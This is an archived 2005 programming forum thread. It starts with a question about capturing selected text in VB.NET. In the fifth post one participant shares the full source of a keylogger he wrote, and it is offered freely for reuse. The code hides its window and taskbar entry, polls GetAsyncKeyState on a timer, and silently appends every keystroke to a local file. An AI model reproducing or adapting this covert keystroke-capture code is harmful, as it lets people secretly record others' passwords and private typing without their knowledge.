Programming Forums
User Name Password Register
 

RSS Feed
FORUM INDEX | TODAY'S POSTS | UNANSWERED THREADS | ADVANCED SEARCH

Reply
 
Thread Tools Display Modes
Old Jun 22nd, 2005, 10:34 PM   #1
squishiful
Programmer
 
Join Date: Jun 2005
Location: Amittyville
Posts: 60
Rep Power: 4 squishiful is on a distinguished road
Accessing the Selected Text

Can you access the selected text on a computer anywhere even outside the application, then take the text and write it to a file? This might be a reach or outside of the capabilities of VB.NET, but I don't know so please help, and if its impossible please tell me. Thanx!
__________________
I steal hippos...
squishiful is offline   Reply With Quote
Old Jun 23rd, 2005, 1:02 AM   #2
melbolt
Professional Programmer
 
melbolt's Avatar
 
Join Date: Feb 2005
Location: PA, USA
Posts: 254
Rep Power: 4 melbolt is on a distinguished road
if you want to work with stuff outside of your forms, you'll probably need to call unmanaged code (API's such as win32).

I just made a simple keylogger in .NET and this was one of the problems I encountered, I had to make a call out to some unmanaged code to achieve this. as for selected text, if you search around enough you can probably find the right thing to call to do something like that this way.

I believe there is an API function somewhere to get the selected text and place it in the clipboard, from here it would be easily retrievable from within your program by using a .NET class.

maybe try searching around here?
http://msdn.microsoft.com/library/de...pboarddata.asp

let me know if you figure anything out.


by the way, how are you planning on triggering the event?

what i mean is, does everything that is selected get copied, or are you going to click a button to make it happen or what?


edit: there's probably a way to save it to a file without using the clipboard at all, i'll look more into it later, i gotta get to bed for now though.
__________________
I have never let my schooling interfere with my education. -Mark Twain-

Xbox live gamertag: melbolt

Last edited by melbolt; Jun 23rd, 2005 at 1:39 AM.
melbolt is offline   Reply With Quote
Old Jun 23rd, 2005, 11:06 AM   #3
squishiful
Programmer
 
Join Date: Jun 2005
Location: Amittyville
Posts: 60
Rep Power: 4 squishiful is on a distinguished road
Well when they press a button it will get the selected text, do you have a link to the key logger you made, I'd like to check it out, with the source if possible, thanx!
__________________
I steal hippos...
squishiful is offline   Reply With Quote
Old Jun 24th, 2005, 1:59 AM   #4
melbolt
Professional Programmer
 
melbolt's Avatar
 
Join Date: Feb 2005
Location: PA, USA
Posts: 254
Rep Power: 4 melbolt is on a distinguished road
Quote:
Originally Posted by squishiful
Well when they press a button it will get the selected text, do you have a link to the key logger you made, I'd like to check it out, with the source if possible, thanx!
yea, i've got it on my laptop at work, i'll post the source up tomorrow when i'm at work.
__________________
I have never let my schooling interfere with my education. -Mark Twain-

Xbox live gamertag: melbolt
melbolt is offline   Reply With Quote
Old Jun 24th, 2005, 4:14 PM   #5
melbolt
Professional Programmer
 
melbolt's Avatar
 
Join Date: Feb 2005
Location: PA, USA
Posts: 254
Rep Power: 4 melbolt is on a distinguished road
it's pretty simple, here ya go

Public Class Form1

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Me.Visible = False
        Me.ShowInTaskbar = False
        Timer1.Enabled = True
        Timer1.Start()
    End Sub

  
    Dim result As Integer
    Dim i As Integer
    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
    

        For i = 1 To 255
            result = 0
            result = GetAsyncKeyState(i)

            If result = -32767 Then
                File.AppendAllText("C:\bla.txt", Chr(i))
            End If
        Next i

    End Sub


End Class
__________________
I have never let my schooling interfere with my education. -Mark Twain-

Xbox live gamertag: melbolt
melbolt is offline   Reply With Quote
Old Jun 24th, 2005, 9:03 PM   #6
squishiful
Programmer
 
Join Date: Jun 2005
Location: Amittyville
Posts: 60
Rep Power: 4 squishiful is on a distinguished road
kewl thanx!
__________________
I steal hippos...
squishiful is offline   Reply With Quote
Reply

Bookmarks

« Previous Thread in Forum | Next Thread in Forum »

Currently Active Users Viewing This Thread: 1 (0 members and 1 guests)
 
Thread Tools
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Forum Jump




DaniWeb IT Discussion Community
All times are GMT -5. The time now is 1:43 PM.

Powered by vBulletin® Version 3.7.0, Copyright ©2000 - 2008, Jelsoft Enterprises Ltd.
Copyright ©2007 DaniWeb® LLC